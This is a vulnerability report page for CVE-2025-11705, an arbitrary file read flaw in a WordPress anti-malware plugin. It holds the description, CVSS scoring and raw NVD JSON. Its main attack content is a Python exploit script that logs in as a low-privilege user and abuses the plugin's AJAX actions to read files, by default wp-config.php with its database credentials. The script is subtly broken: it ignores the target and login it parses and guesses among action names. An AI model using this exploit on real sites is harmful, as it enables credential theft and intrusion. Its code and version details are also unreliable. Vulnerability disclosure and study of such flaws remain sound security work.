Security Vulnerability Report
中文
CVE-2025-11705 CVSS 6.5 MEDIUM

CVE-2025-11705

Published: 2025-10-29 05:15:37
Last Modified: 2026-04-15 00:35:42

Description

The Anti-Malware Security and Brute-Force Firewall plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 4.23.81 due to a missing capability check combined with an information exposure in several GOTMLS_* AJAX actions. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Anti-Malware Security and Brute-Force Firewall < 4.23.81

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11705 PoC - WordPress Anti-Malware Plugin Arbitrary File Read # Requires: Subscriber-level access or higher import requests import sys from urllib.parse import urlencode TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password" def get_auth_cookie(): """Login and get authentication cookie""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) return session.cookies.get_dict() def exploit_file_read(cookies, filepath): """Read arbitrary file via vulnerable AJAX endpoint""" ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Try different GOTMLS AJAX actions actions = ['GOTMLS_settings', 'GOTMLS_scan', 'GOTMLS_update'] for action in actions: data = { 'action': action, 'GOTMLS_path': filepath # File path to read } try: response = requests.post( ajax_url, data=data, cookies=cookies ) if response.status_code == 200 and len(response.text) > 0: print(f"[+] Success with action: {action}") print(f"[+] File: {filepath}") print("=" * 50) print(response.text) print("=" * 50) return response.text except Exception as e: print(f"[-] Error with {action}: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-11705.py <target_url> <username> <password> [filepath]") print("Example: python cve-2025-11705.py http://example.com attacker password ../../wp-config.php") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] filepath = sys.argv[4] if len(sys.argv) > 4 else "../../wp-config.php" print(f"[*] Logging in as {username}...") cookies = get_auth_cookie() if not cookies: print("[-] Failed to authenticate") sys.exit(1) print("[*] Attempting to read file...") exploit_file_read(cookies, filepath) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11705", "sourceIdentifier": "[email protected]", "published": "2025-10-29T05:15:36.817", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Anti-Malware Security and Brute-Force Firewall plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 4.23.81 due to a missing capability check combined with an information exposure in several GOTMLS_* AJAX actions. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3379118/gotmls", "source": "[email protected]"}, {"url": "https://research.cleantalk.org/cve-2025-11705/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e2c8838c-d29a-4df8-85b3-6e440ba7f962?source=cve", "source": "[email protected]"}]}}